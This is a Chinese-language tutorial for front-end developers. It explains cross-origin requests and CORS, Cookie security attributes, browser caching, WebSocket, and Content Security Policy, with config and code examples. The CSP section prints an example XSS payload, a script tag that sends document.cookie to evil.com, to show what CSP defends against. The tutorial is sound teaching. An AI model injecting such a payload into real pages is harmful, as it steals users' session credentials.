前端同学必须懂的5个网络概念:跨域、Cookie、缓存、WebSocket、CSP
为什么这5个概念对前端特别重要?
作为前端开发,你每天都在和网络打交道,但有些概念属于“会用但说不清”:
-
跨域报错了,加个
proxy就能解决,但为什么浏览器要限制跨域? -
登录后的用户信息存在 Cookie 里,但
HttpOnly、Secure、SameSite是干嘛的? -
网站静态资源要配置缓存,但
Cache-Control和ETag到底怎么选? -
聊天室用 WebSocket,但它和 HTTP 什么关系?为什么能“实时”?
-
听说 CSP 能防 XSS 攻击,但配置起来麻烦吗?
这篇文章把这5个概念一次性讲清楚:是什么、为什么、怎么用。
一、跨域(CORS):浏览器的“安全护栏”
1.1 跨域是什么?
跨域:当一个网页向不同域名、不同端口、不同协议的服务器发请求时,就产生了跨域。
举个例子:你在 https://a.com 的网页里,用 fetch 请求 https://b.com/api,这就是跨域。
判断两个地址是否同源,要看三个东西:
| 对比项 | 地址A | 地址B | 是否同源 |
|---|---|---|---|
| 协议+域名+端口 | https://a.com:443 |
https://a.com:443 |
✅ 是 |
| 协议不同 | http://a.com |
https://a.com |
❌ 否 |
| 域名不同 | https://a.com |
https://b.com |
❌ 否 |
| 端口不同 | https://a.com:443 |
https://a.com:8080 |
❌ 否 |
1.2 为什么浏览器要限制跨域?
这是浏览器的同源策略。简单说:只有“同一个源”的网页,才能互相访问数据。
为什么要这么设计?
想象一下:你打开了银行网站(bank.com),又打开了一个恶意网站(evil.com)。如果没有同源策略,evil.com 上的脚本可以直接向 bank.com 发请求,拿到你的账户信息。
同源策略就是为了防止这种攻击。它像一个“门卫”,只允许同源之间互通,外来的请求都被拦住。
注意:跨域限制是浏览器的行为,不是服务器的问题。你用 curl 或 Postman 发请求,不会有跨域问题——因为它们是工具,不是浏览器。
1.3 跨域请求的两种类型
浏览器把跨域请求分成两类,处理方式不同:
简单请求(同时满足以下条件):
-
方法:GET、POST、HEAD
-
请求头:只能包含
Accept、Accept-Language、Content-Language、Content-Type(且只能是text/plain、multipart/form-data、application/x-www-form-urlencoded)
非简单请求(不满足上面任何一个条件):
-
用了 PUT、DELETE、PATCH
-
Content-Type是application/json -
带了自定义请求头(如
Authorization)
非简单请求会先发一个 OPTIONS 预检请求,问服务器“允许我跨域吗?”服务器同意了,才发真正的请求。
1.4 怎么解决跨域?
| 方案 | 适用场景 | 简单程度 |
|---|---|---|
| CORS(后端配置) | 生产环境 | ⭐⭐⭐ |
| 代理(devServer) | 开发环境 | ⭐⭐⭐⭐⭐ |
| JSONP | 只支持 GET 的老方案 | ⭐⭐ |
| Nginx 反向代理 | 运维配置 | ⭐⭐⭐ |
方案一:CORS(最标准,生产环境用)
后端在响应头里加这些字段:
http
Access-Control-Allow-Origin: https://a.com # 允许哪个域名(* 表示所有,但不能和 Credentials 一起用) Access-Control-Allow-Methods: GET, POST, PUT # 允许哪些方法 Access-Control-Allow-Headers: Content-Type # 允许哪些请求头 Access-Control-Allow-Credentials: true # 是否允许带 Cookie Access-Control-Max-Age: 86400 # 预检请求缓存多久(秒)
方案二:开发环境代理(前端最常用)
在 vite.config.js 或 webpack.config.js 里配置代理:
javascript
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://b.com', // 目标服务器
changeOrigin: true, // 修改请求头中的 origin
rewrite: (path) => path.replace(/^\/api/, '') // 重写路径
}
}
}
}
原理:本地开发服务器帮你转发请求,浏览器的请求是发给 localhost(同源),开发服务器再去请求真正的后端,绕过了浏览器的跨域限制。
1.5 跨域常见问题排查
| 现象 | 可能原因 |
|---|---|
| 请求发了,但响应被浏览器拦截 | 后端没配 CORS 头 |
| OPTIONS 请求返回 404 | 后端没处理 OPTIONS 请求 |
| 带了 Cookie 但跨域失败 | 忘记设置 withCredentials 和后端的 Allow-Credentials |
| 本地能访问,上线不行 | 生产环境没配 CORS,或者代理只配了开发环境 |
二、Cookie:网站的“记忆卡片”
2.1 Cookie 是什么?
Cookie 是网站存在你浏览器里的小段文本。它让网站能“记住”你:
-
登录状态:不用每次访问都输密码
-
偏好设置:暗色模式、语言选择
-
购物车:没登录也能记住你加了什么
每个 Cookie 的大小限制在 4KB 左右,一个域名下最多存 20-50 个。
2.2 Cookie 的三个关键安全属性
HttpOnly —— 防止被偷
设置了 HttpOnly 的 Cookie,前端 JavaScript 无法读取(document.cookie 看不到)。
为什么需要它?防止 XSS 攻击:攻击者注入了一段脚本,执行 document.cookie 就把你的登录凭证偷走了。HttpOnly 就是防这个的。
最佳实践:存登录凭证的 Cookie,必须加 HttpOnly。
Secure —— 只在加密通道传输
设置了 Secure 的 Cookie,只会在 HTTPS 连接中发送,HTTP 请求不会带这个 Cookie。
最佳实践:所有涉及敏感信息的 Cookie,都要加 Secure。
SameSite —— 防止跨站请求伪造
SameSite 有三个值:
| 值 | 行为 | 适用场景 |
|---|---|---|
Strict |
完全禁止跨站发送 | 银行、支付类(最安全) |
Lax |
部分跨站请求允许(如链接跳转) | 普通网站(现代浏览器默认) |
None |
允许跨站发送,但必须配合 Secure |
第三方嵌入(需要跨站带 Cookie) |
Chrome 从 80 版本开始,没指定 SameSite 的 Cookie 默认变成 Lax。
2.3 Cookie 的其他属性
| 属性 | 作用 | 示例 |
|---|---|---|
Domain |
允许哪些子域名使用 | Domain=.example.com(所有子域名) |
Path |
允许哪些路径使用 | Path=/admin(只有 /admin 下才带) |
Max-Age |
过期时间(秒) | Max-Age=3600(1小时后过期) |
Expires |
过期时间(绝对时间) | Expires=Wed, 21 Oct 2025 07:28:00 GMT |
2.4 Cookie 的属性配置建议
| 使用场景 | HttpOnly | Secure | SameSite | 过期时间 |
|---|---|---|---|---|
| 登录凭证(Session ID) | ✅ 必须 | ✅ 必须 | Strict/Lax | 会话级或短期 |
| 用户偏好设置 | ❌ 不需要 | 推荐 | Lax | 长期(一年) |
| 第三方嵌入 | ❌ | ✅ 必须 | None | 按需 |
2.5 Cookie 和 localStorage 的区别
| 对比项 | Cookie | localStorage |
|---|---|---|
| 容量 | 4KB | 5-10MB |
| 发送方式 | 每次 HTTP 请求自动带 | 不会自动发 |
| 过期 | 手动设置 | 永久(除非手动删) |
| 作用域 | 同域名 | 同域名 |
| 跨域携带 | 需配置 withCredentials |
不会发送 |
| 适用场景 | 登录凭证、会话 | 用户偏好、缓存数据 |
三、缓存:让网站飞起来的秘密
3.1 缓存的分类
浏览器缓存分两类:
| 类型 | 别名 | 机制 | 命中后响应 |
|---|---|---|---|
| 强缓存 | 本地缓存 | 直接用本地,不发请求 | 200(from disk cache) |
| 协商缓存 | 弱缓存 | 发请求问服务器“变了吗” | 304(Not Modified) |
3.2 强缓存:不发请求,直接拿本地
强缓存通过 Cache-Control 响应头控制(它取代了老式的 Expires)。
http
Cache-Control: max-age=31536000
意思是:这个资源可以缓存 31536000 秒(一年)。一年内再次请求,直接从本地拿,不访问网络。
常见配置:
http
# 静态资源(图片、CSS、JS)—— 一年 Cache-Control: max-age=31536000 # HTML 页面 —— 不缓存或短缓存 Cache-Control: no-cache # 或者 Cache-Control: max-age=3600
注意:no-cache 不是“不缓存”,而是“每次用之前先问一下服务器”,实际上属于协商缓存。
3.3 协商缓存:问一下服务器变没变
强缓存过期了,或者设置了 no-cache,浏览器会发请求问服务器:“这个资源变了吗?”
服务器怎么判断资源是否变化?靠两个东西:
方式一:Last-Modified + If-Modified-Since
-
第一次响应:
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT -
第二次请求:
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT -
服务器判断:没变就返回 304,变了就返回 200 + 新文件
方式二:ETag + If-None-Match(更精确)
-
第一次响应:
ETag: "abc123" -
第二次请求:
If-None-Match: "abc123" -
服务器判断:ETag 没变就返回 304
ETag 比 Last-Modified 更精确(能精确到 1 秒内的变化),一般两者同时用。
3.4 强缓存 vs 协商缓存对比
| 对比项 | 强缓存 | 协商缓存 |
|---|---|---|
| 是否发请求 | 否 | 是 |
| 响应状态码 | 200 | 304 |
| 响应体 | 有(从缓存读) | 无(只用缓存) |
| 速度 | 最快 | 较快(仍需一次请求) |
| 控制头 | Cache-Control |
Last-Modified / ETag |
3.5 缓存配置建议
| 资源类型 | 推荐策略 | Cache-Control |
|---|---|---|
| HTML | 协商缓存 | no-cache |
| CSS/JS(带 hash) | 强缓存 | max-age=31536000 |
| 图片 | 强缓存 | max-age=31536000 |
| 用户头像 | 短时强缓存 | max-age=3600 |
| API 数据 | 不缓存或协商 | no-cache |
技巧:给 CSS/JS 文件名加 hash(如 main.a1b2c3.js),文件变了 hash 就变了,用户就会重新下载。这样就可以放心用一年的强缓存。
四、WebSocket:服务器能主动“找”你了
4.1 为什么需要 WebSocket?
HTTP 是“一问一答”的模式:客户端发请求,服务器回响应。服务器不能主动给客户端发消息。
这在很多场景下很麻烦:
-
聊天:别人发了消息,你得刷新才知道
-
股票:你得一直刷新页面看最新价格
-
游戏:其他玩家操作了,你不知道
以前的解决方案是轮询:每隔几秒就发一个请求问“有新消息吗?”
轮询的问题:
-
大部分请求都是空响应(浪费带宽)
-
延迟高(实时性要求高的场景不行)
WebSocket 解决了这个问题:连接建立后,双方随时可以互相发消息。
4.2 WebSocket 和 HTTP 的关系
WebSocket 和 HTTP 不是替代关系,是升级关系。
建立 WebSocket 连接的第一步,是一个 HTTP 请求(称为“握手”)。握手成功后,这条 TCP 连接就“升级”成了 WebSocket,之后就不再用 HTTP 协议了。
text
客户端 → 服务器:HTTP 请求(带着 Upgrade: websocket) 服务器 → 客户端:HTTP 响应(101 Switching Protocols) 之后:这条连接变成 WebSocket,双方可以随时发消息
4.3 WebSocket 和 HTTP/2 的关系
很多人会问:HTTP/2 不是支持服务器推送吗?还需要 WebSocket 吗?
| 对比项 | HTTP/2 Server Push | WebSocket |
|---|---|---|
| 方向 | 服务器 → 客户端 | 双向 |
| 触发条件 | 必须由客户端请求触发 | 任意时刻 |
| 适用场景 | 预加载资源(HTML 推 CSS) | 实时通信(聊天、游戏) |
| 持久连接 | 不一定 | 是 |
简单说:HTTP/2 推送是你进了一个房间,服务员主动给你倒了杯水;WebSocket 是你和对方一直在聊天,随时可以说话。
4.4 前端怎么用 WebSocket?
javascript
// 建立连接
const ws = new WebSocket('wss://example.com/chat');
// 连接打开
ws.onopen = () => {
console.log('连接成功');
ws.send('hello'); // 发送消息
};
// 收到消息
ws.onmessage = (event) => {
console.log('收到:', event.data);
};
// 连接关闭
ws.onclose = () => {
console.log('连接关闭');
};
// 出错
ws.onerror = (error) => {
console.error('WebSocket 错误:', error);
};
4.5 心跳机制
WebSocket 连接可能会因为网络问题“假死”(你以为还连着,实际已经断了)。
解决办法:心跳。客户端定时发送一个 ping(或自定义心跳包),服务器回复 pong。如果一段时间没收到回复,就知道连接断了,需要重连。
javascript
// 简单的心跳实现
let heartbeatInterval;
const startHeartbeat = () => {
heartbeatInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send('ping');
}
}, 30000); // 每 30 秒发一次
};
const stopHeartbeat = () => {
clearInterval(heartbeatInterval);
};
4.6 断线重连
WebSocket 连接可能因为各种原因断开(网络波动、服务器重启),需要自动重连。
javascript
const connectWebSocket = () => {
const ws = new WebSocket('wss://example.com/chat');
let reconnectTimer;
ws.onclose = () => {
console.log('连接断开,3秒后重连');
reconnectTimer = setTimeout(() => {
connectWebSocket();
}, 3000);
};
ws.onerror = (error) => {
console.error('连接错误', error);
ws.close(); // 触发 onclose,进入重连
};
return ws;
};
五、CSP:给网页加一道“防火墙”
5.1 CSP 是什么?
CSP(内容安全策略,Content Security Policy)是一个 HTTP 响应头,告诉浏览器:“只能加载我允许的来源的资源”。
它专门用来防御 XSS 攻击。
5.2 没有 CSP 时,XSS 是怎么攻击的?
假设你的网站有一个评论区,用户提交了这样的内容:
html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
如果你的网站没有过滤,这段脚本就会在别人打开页面时执行,把用户的 Cookie 发到攻击者的服务器。
5.3 CSP 是怎么防的?
配置 CSP 后,浏览器只执行你明确允许的脚本。上面的 <script> 标签会被直接拦截。
最简单的配置:
http
Content-Security-Policy: default-src 'self'
意思是:只允许加载同源(自己网站)的资源。
更完整的配置示例:
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://images.example.com; connect-src 'self' https://api.example.com; font-src 'self' https://fonts.example.com; frame-src 'self' https://www.youtube.com; report-uri /csp-report
逐条解释:
| 指令 | 允许来源 | 说明 |
|---|---|---|
default-src 'self' |
同源 | 默认策略 |
script-src 'self' https://cdn.example.com |
同源 + 指定 CDN | JavaScript |
style-src 'self' 'unsafe-inline' |
同源 + 内联样式 | CSS(一般不推荐 unsafe-inline) |
img-src 'self' data: https://images.example.com |
同源 + data 图片 + 指定 CDN | 图片 |
connect-src 'self' https://api.example.com |
同源 + 指定 API | fetch / XHR / WebSocket |
font-src 'self' https://fonts.example.com |
同源 + 指定 CDN | 字体 |
frame-src 'self' https://www.youtube.com |
同源 + 指定网站 | iframe |
report-uri /csp-report |
违规上报地址 | 报告 CSP 违规 |
5.4 CSP 常见值说明
| 值 | 含义 |
|---|---|
'self' |
同源(注意有引号) |
'none' |
不允许任何来源 |
'unsafe-inline' |
允许内联脚本/样式(不安全) |
'unsafe-eval' |
允许 eval()(不安全) |
https: |
所有 HTTPS 来源 |
data: |
允许 data: URI(如图片的 base64) |
*.example.com |
所有子域名 |
https://cdn.example.com |
指定域名 |
5.5 CSP 配置建议
| 场景 | 推荐配置 |
|---|---|
| 最严格 | default-src 'self' |
| 使用 CDN | default-src 'self'; script-src 'self' https://cdn.example.com |
| 允许内联样式(较宽松) | default-src 'self'; style-src 'self' 'unsafe-inline' |
| 小项目测试 | default-src https: |
5.6 测试 CSP 的方法
在响应头加 Content-Security-Policy-Report-Only,它会报告违规但不拦截,方便测试:
http
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
浏览器会把违规记录发到你指定的地址,你可以慢慢调整策略,确认没问题后再改为正式的 Content-Security-Policy。
5.7 CSP 能防住哪些攻击?
| 攻击类型 | 能否防御 | 说明 |
|---|---|---|
内联 <script> 注入 |
✅ 能 | 需要配置 script-src 不允许 'unsafe-inline' |
| 外部恶意脚本 | ✅ 能 | 限制 script-src 的域名 |
内联事件(onclick=...) |
✅ 能 | 同样被 unsafe-inline 控制 |
eval() 注入 |
✅ 能 | 需要配置不包含 'unsafe-eval' |
| 数据泄露(连接外部) | ✅ 能 | connect-src 限制请求目标 |
5.8 CSP 不等于万事大吉
CSP 能防住大部分 XSS,但不能防所有:
-
如果配置太宽松(比如用了
'unsafe-inline'或'unsafe-eval'),效果会打折扣 -
CSP 是“最后一道防线”,第一道防线永远是对用户输入做转义和过滤
-
CSP 对已有业务可能有影响(比如内联脚本会被拦截),需要仔细测试
总结:五个概念一图看懂
| 概念 | 一句话总结 | 和前端的关系 | |
|---|---|---|---|
| 跨域(CORS) | 浏览器不让网页随便访问其他域名的数据 | 请求第三方 API 时必遇 | |
| Cookie | 网站存你电脑里的小卡片,用来记住你 | 登录、用户追踪必用 | |
| 缓存 | 存一份本地副本,下次直接拿来用 | 网站性能优化的核心 | |
| WebSocket | 服务器可以随时主动给你发消息 | 聊天、游戏、实时推送 | |
| CSP | 告诉浏览器只加载我允许的资源 | 防御 XSS 攻击的防火墙 |
更多推荐


所有评论(0)